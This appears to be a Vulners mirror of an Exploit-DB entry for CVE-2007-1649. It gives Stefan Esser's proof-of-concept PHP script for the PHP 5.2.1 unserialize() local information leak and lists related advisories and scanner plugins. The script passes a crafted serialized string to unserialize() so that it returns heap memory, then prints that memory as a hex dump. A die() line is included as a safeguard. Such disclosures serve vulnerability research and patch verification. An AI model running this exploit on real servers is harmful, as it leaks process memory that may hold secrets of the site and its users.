Lucene search
+L

PHP 5.2.1 - 'Unserialize()' Local Information Leak

🗓️ 23 Mar 2007 00:00:00Reported by Stefan EsserType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

PHP 5.2.1 'Unserialize()' Local Info Lea

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
PHP 4.x < 4.4.7 / 5.x < 5.2.2 Multiple Vulnerabilities
4 May 200700:00
nessus
Tenable Nessus
Mandriva Linux Security Advisory : php (MDVSA-2008:126)
23 Apr 200900:00
nessus
Tenable Nessus
PHP 5.x < 5.2.2 Multiple vulnerabilities
11 Jan 201200:00
nessus
CVE
CVE-2007-1649
24 Mar 200700:00
cve
Cvelist
CVE-2007-1649
24 Mar 200700:00
cvelist
EUVD
EUVD-2007-1643
7 Oct 202500:30
euvd
NVD
CVE-2007-1649
24 Mar 200700:19
nvd
OpenVAS
PHP < 5.2.2 'CVE-2007-1649' Vulnerability
17 Aug 202000:00
openvas
OpenVAS
PHP < 5.2.2 Security Vulnerability
21 Jun 201200:00
openvas
OpenVAS
Mandriva Update for php MDVSA-2008:126 (php)
9 Apr 200900:00
openvas
Rows per page
<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //       PHP 5.2.1 unserialize() Information Leak Vulnerability       //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");




  $str = 'S:'.(100*3).':"'.str_repeat('\61', 100).'"';
  $arr = array(str_repeat('"', 200)."1"=>1,str_repeat('"', 200)."2"=>1);

  $heapdump = unserialize($str);




  echo "Heapdump\n---------\n\n";

  $len = strlen($heapdump);
  for ($b=0; $b<$len; $b+=16) {
    printf("%08x: ", $b);
    for ($i=0; $i<16; $i++) {
      if ($b+$i<$len) {
          printf ("%02x ", ord($heapdump[$b+$i]));
      } else {
          printf (".. ");
      }
    }
    for ($i=0; $i<16; $i++) {
      if ($b+$i<$len) {
          $c = ord($heapdump[$b+$i]);
      } else {
          $c = 0;
      }
      if ($c > 127 || $c < 32) {
        $c = ord(".");
      }
      printf ("%c", $c);
    }
    printf("\n");
  }
?>

# milw0rm.com [2007-03-23]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation